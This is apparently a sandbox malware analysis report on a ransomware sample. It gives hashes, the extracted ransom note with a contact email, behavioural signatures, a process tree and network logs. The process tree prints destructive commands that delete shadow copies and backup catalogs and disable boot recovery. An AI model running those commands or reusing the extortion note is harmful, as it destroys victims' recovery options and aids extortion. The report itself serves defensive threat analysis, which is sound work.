Overview

overview

10

Static

static

f247ae6db5...in.exe

windows7_x64

10

f247ae6db5...in.exe

windows10_x64

10

Resubmissions

08/06/2024, 15:19 UTC

240608-sqmvesch2s 10

06/11/2020, 15:33 UTC

201106-nz68d98cw2 10

Analysis

  • max time kernel
    154s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06/11/2020, 15:33 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb.bin.exe

  • Size

    212KB

  • MD5

    723825ad69a5d55a1e5ed3d1ee831f0d

  • SHA1

    7e082df63c3de0f8bf9d38edf72ba5268078275a

  • SHA256

    f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb

  • SHA512

    dbd1fd80c8e1224c79ecea419919df3590186c95bfd2f606d6573d759374bc54db8331478207e3b543114431c2ed8eede83b7eca74d4313e7dee16bd527c2c78

Score
10/10
persistenceransomware

Malware Config

Extracted

Path

C:\RECOVERY DATA INFORMATION.TXT

Ransom Note
Hello! If you see this message - this means your files are now encrypted and are in a non-working state! Now only we can help you recover. If you are ready to restore the work - send us an email to the address decrypthelp@aol.com In the letter, specify your personal identifier, which you will see below. In the reply letter we will inform you the cost of decrypting your files. Also from your servers files, documents, databases SQL, PDF were uploaded to our cloud storage After we agree, you will receive a decryption program, as well as all your files on our server will be deleted. Otherwise, they will fall into the open access of the Internet! Before payment you can send us 1-2 files for test decryption. We will decrypt the files you requested and send you back. This ensures that we own the key to recover your data. The total file size should be no more than 3 MB, the files should not contain valuable information (databases, backups, large Excel spreadsheets ...). Please be sure that we will find common languge. We will restore all the data. Email to contact us - decrypthelp@aol.com Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. Your personal ID: 2A3-294-AF4
Emails

decrypthelp@aol.com

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies service 2 TTPs 4 IoCs
    persistence
  • Drops file in Program Files directory 9273 IoCs
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious use of AdjustPrivilegeToken 87 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb.bin.exe"
    1⤵
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:500
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe" -start
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3748
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic shadowcopy delete
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:640
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
        3⤵
          PID:4088
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
            PID:2716
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
            3⤵
              PID:2772
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3396
              • C:\Windows\SysWOW64\vssadmin.exe
                vssadmin delete shadows /all /quiet
                4⤵
                • Interacts with shadow copies
                PID:672
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3476
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic shadowcopy delete
                4⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3160
              • C:\Windows\SysWOW64\vssadmin.exe
                vssadmin delete shadows /all /quiet
                4⤵
                • Interacts with shadow copies
                PID:636
            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe" -agent 0
              3⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:1304
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Modifies service
          • Suspicious use of AdjustPrivilegeToken
          PID:1000

        Network

        • flag-unknown
          DNS
          geoiptool.com
          Remote address:
          8.8.8.8:53
          Request
          geoiptool.com
          IN A
          Response
          geoiptool.com
          IN A
          158.69.65.151
        • flag-unknown
          GET
          http://geoiptool.com/
          f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb.bin.exe
          Remote address:
          158.69.65.151:80
          Request
          GET / HTTP/1.1
          Host: geoiptool.com
          Response
          HTTP/1.1 301 Moved Permanently
          Server: nginx/1.6.2
          Date: Fri, 06 Nov 2020 15:34:05 GMT
          Content-Type: text/html
          Content-Length: 184
          Connection: keep-alive
          Location: https://www.geodatatool.com/
        • flag-unknown
          DNS
          www.geodatatool.com
          Remote address:
          8.8.8.8:53
          Request
          www.geodatatool.com
          IN A
          Response
          www.geodatatool.com
          IN A
          158.69.65.151
        • flag-unknown
          GET
          http://geoiptool.com/
          services.exe
          Remote address:
          158.69.65.151:80
          Request
          GET / HTTP/1.1
          Host: geoiptool.com
          Response
          HTTP/1.1 301 Moved Permanently
          Server: nginx/1.6.2
          Date: Fri, 06 Nov 2020 15:34:10 GMT
          Content-Type: text/html
          Content-Length: 184
          Connection: keep-alive
          Location: https://www.geodatatool.com/
        • flag-unknown
          DNS
          iplogger.org
          Remote address:
          8.8.8.8:53
          Request
          iplogger.org
          IN A
          Response
          iplogger.org
          IN A
          88.99.66.31
        • flag-unknown
          GET
          http://iplogger.org/1VBct7
          services.exe
          Remote address:
          88.99.66.31:80
          Request
          GET /1VBct7 HTTP/1.1
          Host: iplogger.org
          User-Agent: ZEPPELIN
          Referer: 2A3-294-AF4
          Response
          HTTP/1.1 301 Moved Permanently
          Server: nginx
          Date: Fri, 06 Nov 2020 15:33:32 GMT
          Content-Type: text/html
          Content-Length: 178
          Connection: keep-alive
          Location: https://iplogger.org/1VBct7
          Expires: Thu, 01 Jan 1970 00:00:01 GMT
          Cache-Control: no-cache
          Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
          Pragma: no-cache
          Last-Modified: Thu, 01 Jan 1970 00:00:01 GMT
          X-Frame-Options: DENY
        • 158.69.65.151:80
          http://geoiptool.com/
          http
          f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb.bin.exe
          269 B
           518 B
           5
          3

          HTTP Request

          GET http://geoiptool.com/

          HTTP Response

          301
        • 158.69.65.151:443
          www.geodatatool.com
          tls
          f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb.bin.exe
          1.5kB
           25.3kB
           25
          21
        • 158.69.65.151:80
          http://geoiptool.com/
          http
          services.exe
          315 B
           598 B
           6
          5

          HTTP Request

          GET http://geoiptool.com/

          HTTP Response

          301
        • 158.69.65.151:443
          www.geodatatool.com
          tls
          services.exe
          1.7kB
           25.4kB
           29
          24
        • 88.99.66.31:80
          http://iplogger.org/1VBct7
          http
          services.exe
          364 B
           816 B
           6
          5

          HTTP Request

          GET http://iplogger.org/1VBct7

          HTTP Response

          301
        • 88.99.66.31:443
          iplogger.org
          tls
          services.exe
          1.1kB
           4.6kB
           14
          10
        • 8.8.8.8:53
          geoiptool.com
          dns
          59 B
           75 B
           1
          1

          DNS Request

          geoiptool.com

          DNS Response

          158.69.65.151

        • 8.8.8.8:53
          www.geodatatool.com
          dns
          65 B
           81 B
           1
          1

          DNS Request

          www.geodatatool.com

          DNS Response

          158.69.65.151

        • 8.8.8.8:53
          iplogger.org
          dns
          58 B
           74 B
           1
          1

          DNS Request

          iplogger.org

          DNS Response

          88.99.66.31

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        We care about your privacy.

        This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.